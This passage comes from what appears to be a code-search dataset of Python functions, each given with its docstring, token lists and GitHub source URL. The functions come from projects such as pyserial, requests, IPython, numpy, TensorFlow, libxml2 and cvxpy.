def send_break(self, duration=0.25): """\ Send break condition. Timed, returns to idle state after given duration. """ if not self.is_open: raise portNotOpenError if self.logger: self.logger.info('ignored send_break({!r})'.format(duration))
[ "def", "send_break", "(", "self", ",", "duration", "=", "0.25", ")", ":", "if", "not", "self", ".", "is_open", ":", "raise", "portNotOpenError", "if", "self", ".", "logger", ":", "self", ".", "logger", ".", "info", "(", "'ignored send_break({!r})'", ".", "format", "(", "duration", ")", ")" ]
https://github.com/SpenceKonde/megaTinyCore/blob/1c4a70b18a149fe6bcb551dfa6db11ca50b8997b/megaavr/tools/libs/serial/urlhandler/protocol_socket.py#L274-L282
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/requests/cookies.py
python
RequestsCookieJar._find
(self, name, domain=None, path=None)
Requests uses this method internally to get cookie values. If there are conflicting cookies, _find arbitrarily chooses one. See _find_no_duplicates if you want an exception thrown if there are conflicting cookies. :param name: a string containing name of cookie :param domain: (optional) string containing domain of cookie :param path: (optional) string containing path of cookie :return: cookie.value
Requests uses this method internally to get cookie values.
[ "Requests", "uses", "this", "method", "internally", "to", "get", "cookie", "values", "." ]
def _find(self, name, domain=None, path=None): """Requests uses this method internally to get cookie values. If there are conflicting cookies, _find arbitrarily chooses one. See _find_no_duplicates if you want an exception thrown if there are conflicting cookies. :param name: a string containing name of cookie :param domain: (optional) string containing domain of cookie :param path: (optional) string containing path of cookie :return: cookie.value """ for cookie in iter(self): if cookie.name == name: if domain is None or cookie.domain == domain: if path is None or cookie.path == path: return cookie.value raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))
[ "def", "_find", "(", "self", ",", "name", ",", "domain", "=", "None", ",", "path", "=", "None", ")", ":", "for", "cookie", "in", "iter", "(", "self", ")", ":", "if", "cookie", ".", "name", "==", "name", ":", "if", "domain", "is", "None", "or", "cookie", ".", "domain", "==", "domain", ":", "if", "path", "is", "None", "or", "cookie", ".", "path", "==", "path", ":", "return", "cookie", ".", "value", "raise", "KeyError", "(", "'name=%r, domain=%r, path=%r'", "%", "(", "name", ",", "domain", ",", "path", ")", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/requests/cookies.py#L356-L374
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/share/doc/python3.7/examples/Tools/gdb/libpython.py
python
PyObjectPtr.field
(self, name)
return self._gdbval.dereference()[name]
Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences. Various libpython types are defined using the "PyObject_HEAD" and "PyObject_VAR_HEAD" macros. In Python 2, this these are defined so that "ob_type" and (for a var object) "ob_size" are fields of the type in question. In Python 3, this is defined as an embedded PyVarObject type thus: PyVarObject ob_base; so that the "ob_size" field is located insize the "ob_base" field, and the "ob_type" is most easily accessed by casting back to a (PyObject*).
Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences.
[ "Get", "the", "gdb", ".", "Value", "for", "the", "given", "field", "within", "the", "PyObject", "coping", "with", "some", "python", "2", "versus", "python", "3", "differences", "." ]
def field(self, name): ''' Get the gdb.Value for the given field within the PyObject, coping with some python 2 versus python 3 differences. Various libpython types are defined using the "PyObject_HEAD" and "PyObject_VAR_HEAD" macros. In Python 2, this these are defined so that "ob_type" and (for a var object) "ob_size" are fields of the type in question. In Python 3, this is defined as an embedded PyVarObject type thus: PyVarObject ob_base; so that the "ob_size" field is located insize the "ob_base" field, and the "ob_type" is most easily accessed by casting back to a (PyObject*). ''' if self.is_null(): raise NullPyObjectPtr(self) if name == 'ob_type': pyo_ptr = self._gdbval.cast(PyObjectPtr.get_gdb_type()) return pyo_ptr.dereference()[name] if name == 'ob_size': pyo_ptr = self._gdbval.cast(PyVarObjectPtr.get_gdb_type()) return pyo_ptr.dereference()[name] # General case: look it up inside the object: return self._gdbval.dereference()[name]
[ "def", "field", "(", "self", ",", "name", ")", ":", "if", "self", ".", "is_null", "(", ")", ":", "raise", "NullPyObjectPtr", "(", "self", ")", "if", "name", "==", "'ob_type'", ":", "pyo_ptr", "=", "self", ".", "_gdbval", ".", "cast", "(", "PyObjectPtr", ".", "get_gdb_type", "(", ")", ")", "return", "pyo_ptr", ".", "dereference", "(", ")", "[", "name", "]", "if", "name", "==", "'ob_size'", ":", "pyo_ptr", "=", "self", ".", "_gdbval", ".", "cast", "(", "PyVarObjectPtr", ".", "get_gdb_type", "(", ")", ")", "return", "pyo_ptr", ".", "dereference", "(", ")", "[", "name", "]", "# General case: look it up inside the object:", "return", "self", ".", "_gdbval", ".", "dereference", "(", ")", "[", "name", "]" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/share/doc/python3.7/examples/Tools/gdb/libpython.py#L195-L223
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/propgrid.py
python
PropertyGridInterface.SortChildren
(*args, **kwargs)
return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs)
SortChildren(self, PGPropArg id, int flags=0)
SortChildren(self, PGPropArg id, int flags=0)
[ "SortChildren", "(", "self", "PGPropArg", "id", "int", "flags", "=", "0", ")" ]
def SortChildren(*args, **kwargs): """SortChildren(self, PGPropArg id, int flags=0)""" return _propgrid.PropertyGridInterface_SortChildren(*args, **kwargs)
[ "def", "SortChildren", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_propgrid", ".", "PropertyGridInterface_SortChildren", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/propgrid.py#L1465-L1467
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/ipython/py2/IPython/core/extensions.py
python
ExtensionManager.unload_extension
(self, module_str)
Unload an IPython extension by its module name. This function looks up the extension's name in ``sys.modules`` and simply calls ``mod.unload_ipython_extension(self)``. Returns the string "no unload function" if the extension doesn't define a function to unload itself, "not loaded" if the extension isn't loaded, otherwise None.
Unload an IPython extension by its module name.
[ "Unload", "an", "IPython", "extension", "by", "its", "module", "name", "." ]
def unload_extension(self, module_str): """Unload an IPython extension by its module name. This function looks up the extension's name in ``sys.modules`` and simply calls ``mod.unload_ipython_extension(self)``. Returns the string "no unload function" if the extension doesn't define a function to unload itself, "not loaded" if the extension isn't loaded, otherwise None. """ if module_str not in self.loaded: return "not loaded" if module_str in sys.modules: mod = sys.modules[module_str] if self._call_unload_ipython_extension(mod): self.loaded.discard(module_str) else: return "no unload function"
[ "def", "unload_extension", "(", "self", ",", "module_str", ")", ":", "if", "module_str", "not", "in", "self", ".", "loaded", ":", "return", "\"not loaded\"", "if", "module_str", "in", "sys", ".", "modules", ":", "mod", "=", "sys", ".", "modules", "[", "module_str", "]", "if", "self", ".", "_call_unload_ipython_extension", "(", "mod", ")", ":", "self", ".", "loaded", ".", "discard", "(", "module_str", ")", "else", ":", "return", "\"no unload function\"" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/ipython/py2/IPython/core/extensions.py#L90-L108
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/site-packages/boto3/docs/service.py
python
ServiceDocumenter.document_service
(self)
return doc_structure.flush_structure()
Documents an entire service. :returns: The reStructured text of the documented service.
Documents an entire service.
[ "Documents", "an", "entire", "service", "." ]
def document_service(self): """Documents an entire service. :returns: The reStructured text of the documented service. """ doc_structure = DocumentStructure( self._service_name, section_names=self.sections, target='html') self.title(doc_structure.get_section('title')) self.table_of_contents(doc_structure.get_section('table-of-contents')) self.client_api(doc_structure.get_section('client')) self.paginator_api(doc_structure.get_section('paginators')) self.waiter_api(doc_structure.get_section('waiters')) if self._service_resource: self._document_service_resource( doc_structure.get_section('service-resource')) self._document_resources(doc_structure.get_section('resources')) self._document_examples(doc_structure.get_section('examples')) return doc_structure.flush_structure()
[ "def", "document_service", "(", "self", ")", ":", "doc_structure", "=", "DocumentStructure", "(", "self", ".", "_service_name", ",", "section_names", "=", "self", ".", "sections", ",", "target", "=", "'html'", ")", "self", ".", "title", "(", "doc_structure", ".", "get_section", "(", "'title'", ")", ")", "self", ".", "table_of_contents", "(", "doc_structure", ".", "get_section", "(", "'table-of-contents'", ")", ")", "self", ".", "client_api", "(", "doc_structure", ".", "get_section", "(", "'client'", ")", ")", "self", ".", "paginator_api", "(", "doc_structure", ".", "get_section", "(", "'paginators'", ")", ")", "self", ".", "waiter_api", "(", "doc_structure", ".", "get_section", "(", "'waiters'", ")", ")", "if", "self", ".", "_service_resource", ":", "self", ".", "_document_service_resource", "(", "doc_structure", ".", "get_section", "(", "'service-resource'", ")", ")", "self", ".", "_document_resources", "(", "doc_structure", ".", "get_section", "(", "'resources'", ")", ")", "self", ".", "_document_examples", "(", "doc_structure", ".", "get_section", "(", "'examples'", ")", ")", "return", "doc_structure", ".", "flush_structure", "(", ")" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/site-packages/boto3/docs/service.py#L53-L72
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/numpy/py2/numpy/distutils/fcompiler/__init__.py
python
get_f77flags
(src)
return flags
Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}.
Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}.
[ "Search", "the", "first", "20", "lines", "of", "fortran", "77", "code", "for", "line", "pattern", "CF77FLAGS", "(", "<fcompiler", "type", ">", ")", "=", "<f77", "flags", ">", "Return", "a", "dictionary", "{", "<fcompiler", "type", ">", ":", "<f77", "flags", ">", "}", "." ]
def get_f77flags(src): """ Search the first 20 lines of fortran 77 code for line pattern `CF77FLAGS(<fcompiler type>)=<f77 flags>` Return a dictionary {<fcompiler type>:<f77 flags>}. """ flags = {} f = open_latin1(src, 'r') i = 0 for line in f: i += 1 if i>20: break m = _f77flags_re.match(line) if not m: continue fcname = m.group('fcname').strip() fflags = m.group('fflags').strip() flags[fcname] = split_quoted(fflags) f.close() return flags
[ "def", "get_f77flags", "(", "src", ")", ":", "flags", "=", "{", "}", "f", "=", "open_latin1", "(", "src", ",", "'r'", ")", "i", "=", "0", "for", "line", "in", "f", ":", "i", "+=", "1", "if", "i", ">", "20", ":", "break", "m", "=", "_f77flags_re", ".", "match", "(", "line", ")", "if", "not", "m", ":", "continue", "fcname", "=", "m", ".", "group", "(", "'fcname'", ")", ".", "strip", "(", ")", "fflags", "=", "m", ".", "group", "(", "'fflags'", ")", ".", "strip", "(", ")", "flags", "[", "fcname", "]", "=", "split_quoted", "(", "fflags", ")", "f", ".", "close", "(", ")", "return", "flags" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/numpy/py2/numpy/distutils/fcompiler/__init__.py#L1009-L1027
BlzFans/wke
b0fa21158312e40c5fbd84682d643022b6c34a93
cygwin/lib/python2.6/linecache.py
python
clearcache
()
Clear the cache entirely.
Clear the cache entirely.
[ "Clear", "the", "cache", "entirely", "." ]
def clearcache(): """Clear the cache entirely.""" global cache cache = {}
[ "def", "clearcache", "(", ")", ":", "global", "cache", "cache", "=", "{", "}" ]
https://github.com/BlzFans/wke/blob/b0fa21158312e40c5fbd84682d643022b6c34a93/cygwin/lib/python2.6/linecache.py#L26-L30
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/contrib/timeseries/python/timeseries/input_pipeline.py
python
CSVReader._process_records
(self, lines)
return features
Parse `lines` as CSV records.
Parse `lines` as CSV records.
[ "Parse", "lines", "as", "CSV", "records", "." ]
def _process_records(self, lines): """Parse `lines` as CSV records.""" if self._column_dtypes is None: default_values = [(array_ops.zeros([], dtypes.int64),) if column_name == feature_keys.TrainEvalFeatures.TIMES else () for column_name in self._column_names] else: default_values = [ (array_ops.zeros([], dtype),) for dtype in self._column_dtypes ] columns = parsing_ops.decode_csv(lines, default_values) features_lists = {} for column_name, value in zip(self._column_names, columns): features_lists.setdefault(column_name, []).append(value) features = {} for column_name, values in features_lists.items(): if column_name == feature_keys.TrainEvalFeatures.TIMES: features[column_name] = values[0] else: features[column_name] = array_ops.stack(values, axis=1) return features
[ "def", "_process_records", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "_column_dtypes", "is", "None", ":", "default_values", "=", "[", "(", "array_ops", ".", "zeros", "(", "[", "]", ",", "dtypes", ".", "int64", ")", ",", ")", "if", "column_name", "==", "feature_keys", ".", "TrainEvalFeatures", ".", "TIMES", "else", "(", ")", "for", "column_name", "in", "self", ".", "_column_names", "]", "else", ":", "default_values", "=", "[", "(", "array_ops", ".", "zeros", "(", "[", "]", ",", "dtype", ")", ",", ")", "for", "dtype", "in", "self", ".", "_column_dtypes", "]", "columns", "=", "parsing_ops", ".", "decode_csv", "(", "lines", ",", "default_values", ")", "features_lists", "=", "{", "}", "for", "column_name", ",", "value", "in", "zip", "(", "self", ".", "_column_names", ",", "columns", ")", ":", "features_lists", ".", "setdefault", "(", "column_name", ",", "[", "]", ")", ".", "append", "(", "value", ")", "features", "=", "{", "}", "for", "column_name", ",", "values", "in", "features_lists", ".", "items", "(", ")", ":", "if", "column_name", "==", "feature_keys", ".", "TrainEvalFeatures", ".", "TIMES", ":", "features", "[", "column_name", "]", "=", "values", "[", "0", "]", "else", ":", "features", "[", "column_name", "]", "=", "array_ops", ".", "stack", "(", "values", ",", "axis", "=", "1", ")", "return", "features" ]
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/contrib/timeseries/python/timeseries/input_pipeline.py#L493-L513
google/clif
cab24d6a105609a65c95a36a1712ae3c20c7b5df
clif/python/slots.py
python
GenRichCompare
(rcslots)
Generate tp_richcmp slot implementation. Args: rcslots: {'Py_LT': '__lt__ wrap function name'} Yields: C++ source
Generate tp_richcmp slot implementation.
[ "Generate", "tp_richcmp", "slot", "implementation", "." ]
def GenRichCompare(rcslots): """Generate tp_richcmp slot implementation. Args: rcslots: {'Py_LT': '__lt__ wrap function name'} Yields: C++ source """ yield '' yield 'PyObject* slot_richcmp(PyObject* self, PyObject* other, int op) {' yield I+'switch (op) {' for op_func in sorted(rcslots.items()): yield I+I+'case %s: return slot::adapter<%s>(self, other);' % op_func yield I+I+'default: Py_RETURN_NOTIMPLEMENTED;' yield I+'}' yield '}'
[ "def", "GenRichCompare", "(", "rcslots", ")", ":", "yield", "''", "yield", "'PyObject* slot_richcmp(PyObject* self, PyObject* other, int op) {'", "yield", "I", "+", "'switch (op) {'", "for", "op_func", "in", "sorted", "(", "rcslots", ".", "items", "(", ")", ")", ":", "yield", "I", "+", "I", "+", "'case %s: return slot::adapter<%s>(self, other);'", "%", "op_func", "yield", "I", "+", "I", "+", "'default: Py_RETURN_NOTIMPLEMENTED;'", "yield", "I", "+", "'}'", "yield", "'}'" ]
https://github.com/google/clif/blob/cab24d6a105609a65c95a36a1712ae3c20c7b5df/clif/python/slots.py#L101-L116
mingchen/protobuf-ios
0958df34558cd54cb7b6e6ca5c8855bf3d475046
compiler/python/google/protobuf/reflection.py
python
_AddPropertiesForFields
(descriptor, cls)
Adds properties for all fields in this protocol message type.
Adds properties for all fields in this protocol message type.
[ "Adds", "properties", "for", "all", "fields", "in", "this", "protocol", "message", "type", "." ]
def _AddPropertiesForFields(descriptor, cls): """Adds properties for all fields in this protocol message type.""" for field in descriptor.fields: _AddPropertiesForField(field, cls)
[ "def", "_AddPropertiesForFields", "(", "descriptor", ",", "cls", ")", ":", "for", "field", "in", "descriptor", ".", "fields", ":", "_AddPropertiesForField", "(", "field", ",", "cls", ")" ]
https://github.com/mingchen/protobuf-ios/blob/0958df34558cd54cb7b6e6ca5c8855bf3d475046/compiler/python/google/protobuf/reflection.py#L334-L337
microsoft/TSS.MSR
0f2516fca2cd9929c31d5450e39301c9bde43688
TSS.Py/src/TpmTypes.py
python
TPM2B_PRIVATE.fromBytes
(buffer)
return TpmBuffer(buffer).createObj(TPM2B_PRIVATE)
Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer
Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer
[ "Returns", "new", "TPM2B_PRIVATE", "object", "constructed", "from", "its", "marshaled", "representation", "in", "the", "given", "byte", "buffer" ]
def fromBytes(buffer): """ Returns new TPM2B_PRIVATE object constructed from its marshaled representation in the given byte buffer """ return TpmBuffer(buffer).createObj(TPM2B_PRIVATE)
[ "def", "fromBytes", "(", "buffer", ")", ":", "return", "TpmBuffer", "(", "buffer", ")", ".", "createObj", "(", "TPM2B_PRIVATE", ")" ]
https://github.com/microsoft/TSS.MSR/blob/0f2516fca2cd9929c31d5450e39301c9bde43688/TSS.Py/src/TpmTypes.py#L8512-L8516
macchina-io/macchina.io
ef24ba0e18379c3dd48fb84e6dbf991101cb8db0
platform/JS/V8/tools/gyp/tools/pretty_gyp.py
python
split_double_braces
(input)
return output
Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below. These are used to split lines which have multiple braces on them, so that the indentation looks prettier when all laid out (e.g. closing braces make a nice diagonal line).
Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below.
[ "Masks", "out", "the", "quotes", "and", "comments", "and", "then", "splits", "appropriate", "lines", "(", "lines", "that", "matche", "the", "double_", "*", "_brace", "re", "s", "above", ")", "before", "indenting", "them", "below", "." ]
def split_double_braces(input): """Masks out the quotes and comments, and then splits appropriate lines (lines that matche the double_*_brace re's above) before indenting them below. These are used to split lines which have multiple braces on them, so that the indentation looks prettier when all laid out (e.g. closing braces make a nice diagonal line). """ double_open_brace_re = re.compile(r'(.*?[\[\{\(,])(\s*)([\[\{\(])') double_close_brace_re = re.compile(r'(.*?[\]\}\)],?)(\s*)([\]\}\)])') masked_input = mask_quotes(input) masked_input = mask_comments(masked_input) (output, mask_output) = do_split(input, masked_input, double_open_brace_re) (output, mask_output) = do_split(output, mask_output, double_close_brace_re) return output
[ "def", "split_double_braces", "(", "input", ")", ":", "double_open_brace_re", "=", "re", ".", "compile", "(", "r'(.*?[\\[\\{\\(,])(\\s*)([\\[\\{\\(])'", ")", "double_close_brace_re", "=", "re", ".", "compile", "(", "r'(.*?[\\]\\}\\)],?)(\\s*)([\\]\\}\\)])'", ")", "masked_input", "=", "mask_quotes", "(", "input", ")", "masked_input", "=", "mask_comments", "(", "masked_input", ")", "(", "output", ",", "mask_output", ")", "=", "do_split", "(", "input", ",", "masked_input", ",", "double_open_brace_re", ")", "(", "output", ",", "mask_output", ")", "=", "do_split", "(", "output", ",", "mask_output", ",", "double_close_brace_re", ")", "return", "output" ]
https://github.com/macchina-io/macchina.io/blob/ef24ba0e18379c3dd48fb84e6dbf991101cb8db0/platform/JS/V8/tools/gyp/tools/pretty_gyp.py#L62-L80
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
qt/python/mantidqt/mantidqt/widgets/sliceviewer/peaksviewer/workspaceselection.py
python
PeaksWorkspaceSelectorModel.names_and_statuses
(self)
return name_status
:return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool)
:return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool)
[ ":", "return", ":", "a", "list", "of", "2", "-", "tuples", "where", "each", "tuple", "contains", "(", "workspace", "name", ":", "str", "checked", "status", ":", "bool", ")" ]
def names_and_statuses(self): """ :return: a list of 2-tuples where each tuple contains (workspace name:str, checked status :bool) """ ws_provider = self._workspace_provider checked_names = self._checked_names names = ws_provider.getObjectNames() name_status = [] for name in names: try: ws = ws_provider[name] except KeyError: # assume it has been deleted since we asked for the name pass if isinstance(ws, IPeaksWorkspace): name_status.append((name, name in checked_names)) return name_status
[ "def", "names_and_statuses", "(", "self", ")", ":", "ws_provider", "=", "self", ".", "_workspace_provider", "checked_names", "=", "self", ".", "_checked_names", "names", "=", "ws_provider", ".", "getObjectNames", "(", ")", "name_status", "=", "[", "]", "for", "name", "in", "names", ":", "try", ":", "ws", "=", "ws_provider", "[", "name", "]", "except", "KeyError", ":", "# assume it has been deleted since we asked for the name", "pass", "if", "isinstance", "(", "ws", ",", "IPeaksWorkspace", ")", ":", "name_status", ".", "append", "(", "(", "name", ",", "name", "in", "checked_names", ")", ")", "return", "name_status" ]
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/qt/python/mantidqt/mantidqt/widgets/sliceviewer/peaksviewer/workspaceselection.py#L30-L47
thalium/icebox
99d147d5b9269222225443ce171b4fd46d8985d4
third_party/virtualbox/src/libs/libxml2-2.9.4/python/libxml2class.py
python
xmlDoc.nodeListGetRawString
(self, list, inLine)
return ret
Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling.
Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling.
[ "Builds", "the", "string", "equivalent", "to", "the", "text", "contained", "in", "the", "Node", "list", "made", "of", "TEXTs", "and", "ENTITY_REFs", "contrary", "to", "xmlNodeListGetString", "()", "this", "function", "doesn", "t", "do", "any", "character", "encoding", "handling", "." ]
def nodeListGetRawString(self, list, inLine): """Builds the string equivalent to the text contained in the Node list made of TEXTs and ENTITY_REFs, contrary to xmlNodeListGetString() this function doesn't do any character encoding handling. """ if list is None: list__o = None else: list__o = list._o ret = libxml2mod.xmlNodeListGetRawString(self._o, list__o, inLine) return ret
[ "def", "nodeListGetRawString", "(", "self", ",", "list", ",", "inLine", ")", ":", "if", "list", "is", "None", ":", "list__o", "=", "None", "else", ":", "list__o", "=", "list", ".", "_o", "ret", "=", "libxml2mod", ".", "xmlNodeListGetRawString", "(", "self", ".", "_o", ",", "list__o", ",", "inLine", ")", "return", "ret" ]
https://github.com/thalium/icebox/blob/99d147d5b9269222225443ce171b4fd46d8985d4/third_party/virtualbox/src/libs/libxml2-2.9.4/python/libxml2class.py#L3657-L3665
cvxpy/cvxpy
5165b4fb750dfd237de8659383ef24b4b2e33aaf
cvxpy/constraints/constraint.py
python
Constraint.dual_value
(self)
NumPy.ndarray : The value of the dual variable.
NumPy.ndarray : The value of the dual variable.
[ "NumPy", ".", "ndarray", ":", "The", "value", "of", "the", "dual", "variable", "." ]
def dual_value(self): """NumPy.ndarray : The value of the dual variable. """ dual_vals = [dv.value for dv in self.dual_variables] if len(dual_vals) == 1: return dual_vals[0] else: return dual_vals
[ "def", "dual_value", "(", "self", ")", ":", "dual_vals", "=", "[", "dv", ".", "value", "for", "dv", "in", "self", ".", "dual_variables", "]", "if", "len", "(", "dual_vals", ")", "==", "1", ":", "return", "dual_vals", "[", "0", "]", "else", ":", "return", "dual_vals" ]
https://github.com/cvxpy/cvxpy/blob/5165b4fb750dfd237de8659383ef24b4b2e33aaf/cvxpy/constraints/constraint.py#L234-L241
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/email/_header_value_parser.py
python
get_group
(value)
return group, value
group = display-name ":" [group-list] ";" [CFWS]
group = display-name ":" [group-list] ";" [CFWS]
[ "group", "=", "display", "-", "name", ":", "[", "group", "-", "list", "]", ";", "[", "CFWS", "]" ]
def get_group(value): """ group = display-name ":" [group-list] ";" [CFWS] """ group = Group() token, value = get_display_name(value) if not value or value[0] != ':': raise errors.HeaderParseError("expected ':' at end of group " "display name but found '{}'".format(value)) group.append(token) group.append(ValueTerminal(':', 'group-display-name-terminator')) value = value[1:] if value and value[0] == ';': group.append(ValueTerminal(';', 'group-terminator')) return group, value[1:] token, value = get_group_list(value) group.append(token) if not value: group.defects.append(errors.InvalidHeaderDefect( "end of header in group")) elif value[0] != ';': raise errors.HeaderParseError( "expected ';' at end of group but found {}".format(value)) group.append(ValueTerminal(';', 'group-terminator')) value = value[1:] if value and value[0] in CFWS_LEADER: token, value = get_cfws(value) group.append(token) return group, value
[ "def", "get_group", "(", "value", ")", ":", "group", "=", "Group", "(", ")", "token", ",", "value", "=", "get_display_name", "(", "value", ")", "if", "not", "value", "or", "value", "[", "0", "]", "!=", "':'", ":", "raise", "errors", ".", "HeaderParseError", "(", "\"expected ':' at end of group \"", "\"display name but found '{}'\"", ".", "format", "(", "value", ")", ")", "group", ".", "append", "(", "token", ")", "group", ".", "append", "(", "ValueTerminal", "(", "':'", ",", "'group-display-name-terminator'", ")", ")", "value", "=", "value", "[", "1", ":", "]", "if", "value", "and", "value", "[", "0", "]", "==", "';'", ":", "group", ".", "append", "(", "ValueTerminal", "(", "';'", ",", "'group-terminator'", ")", ")", "return", "group", ",", "value", "[", "1", ":", "]", "token", ",", "value", "=", "get_group_list", "(", "value", ")", "group", ".", "append", "(", "token", ")", "if", "not", "value", ":", "group", ".", "defects", ".", "append", "(", "errors", ".", "InvalidHeaderDefect", "(", "\"end of header in group\"", ")", ")", "elif", "value", "[", "0", "]", "!=", "';'", ":", "raise", "errors", ".", "HeaderParseError", "(", "\"expected ';' at end of group but found {}\"", ".", "format", "(", "value", ")", ")", "group", ".", "append", "(", "ValueTerminal", "(", "';'", ",", "'group-terminator'", ")", ")", "value", "=", "value", "[", "1", ":", "]", "if", "value", "and", "value", "[", "0", "]", "in", "CFWS_LEADER", ":", "token", ",", "value", "=", "get_cfws", "(", "value", ")", "group", ".", "append", "(", "token", ")", "return", "group", ",", "value" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/mac/Python.framework/Versions/3.7/lib/python3.7/email/_header_value_parser.py#L1909-L1937
BlzFans/wke
b0fa21158312e40c5fbd84682d643022b6c34a93
cygwin/lib/python2.6/decimal.py
python
Decimal.__rsub__
(self, other, context=None)
return other.__sub__(self, context=context)
Return other - self
Return other - self
[ "Return", "other", "-", "self" ]
def __rsub__(self, other, context=None): """Return other - self""" other = _convert_other(other) if other is NotImplemented: return other return other.__sub__(self, context=context)
[ "def", "__rsub__", "(", "self", ",", "other", ",", "context", "=", "None", ")", ":", "other", "=", "_convert_other", "(", "other", ")", "if", "other", "is", "NotImplemented", ":", "return", "other", "return", "other", ".", "__sub__", "(", "self", ",", "context", "=", "context", ")" ]
https://github.com/BlzFans/wke/blob/b0fa21158312e40c5fbd84682d643022b6c34a93/cygwin/lib/python2.6/decimal.py#L1153-L1159
ChromiumWebApps/chromium
c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7
third_party/closure_linter/closure_linter/common/tokenizer.py
python
Tokenizer.__init__
(self, starting_mode, matchers, default_types)
Initialize the tokenizer. Args: starting_mode: Mode to start in. matchers: Dictionary of modes to sequences of matchers that defines the patterns to check at any given time. default_types: Dictionary of modes to types, defining what type to give non-matched text when in the given mode. Defaults to Type.NORMAL.
Initialize the tokenizer.
[ "Initialize", "the", "tokenizer", "." ]
def __init__(self, starting_mode, matchers, default_types): """Initialize the tokenizer. Args: starting_mode: Mode to start in. matchers: Dictionary of modes to sequences of matchers that defines the patterns to check at any given time. default_types: Dictionary of modes to types, defining what type to give non-matched text when in the given mode. Defaults to Type.NORMAL. """ self.__starting_mode = starting_mode self.matchers = matchers self.default_types = default_types
[ "def", "__init__", "(", "self", ",", "starting_mode", ",", "matchers", ",", "default_types", ")", ":", "self", ".", "__starting_mode", "=", "starting_mode", "self", ".", "matchers", "=", "matchers", "self", ".", "default_types", "=", "default_types" ]
https://github.com/ChromiumWebApps/chromium/blob/c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7/third_party/closure_linter/closure_linter/common/tokenizer.py#L40-L52
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/python/framework/ops.py
python
Graph.create_op
(self, op_type, inputs, dtypes, input_types=None, name=None, attrs=None, op_def=None, compute_shapes=True, compute_device=True)
return ret
Creates an `Operation` in this graph. This is a low-level interface for creating an `Operation`. Most programs will not call this method directly, and instead use the Python op constructors, such as `tf.constant()`, which add ops to the default graph. Args: op_type: The `Operation` type to create. This corresponds to the `OpDef.name` field for the proto that defines the operation. inputs: A list of `Tensor` objects that will be inputs to the `Operation`. dtypes: A list of `DType` objects that will be the types of the tensors that the operation produces. input_types: (Optional.) A list of `DType`s that will be the types of the tensors that the operation consumes. By default, uses the base `DType` of each input in `inputs`. Operations that expect reference-typed inputs must specify `input_types` explicitly. name: (Optional.) A string name for the operation. If not specified, a name is generated based on `op_type`. attrs: (Optional.) A dictionary where the key is the attribute name (a string) and the value is the respective `attr` attribute of the `NodeDef` proto that will represent the operation (an `AttrValue` proto). op_def: (Optional.) The `OpDef` proto that describes the `op_type` that the operation will have. compute_shapes: (Optional.) If True, shape inference will be performed to compute the shapes of the outputs. compute_device: (Optional.) If True, device functions will be executed to compute the device property of the Operation. Raises: TypeError: if any of the inputs is not a `Tensor`. ValueError: if colocation conflicts with existing device assignment. Returns: An `Operation` object.
Creates an `Operation` in this graph.
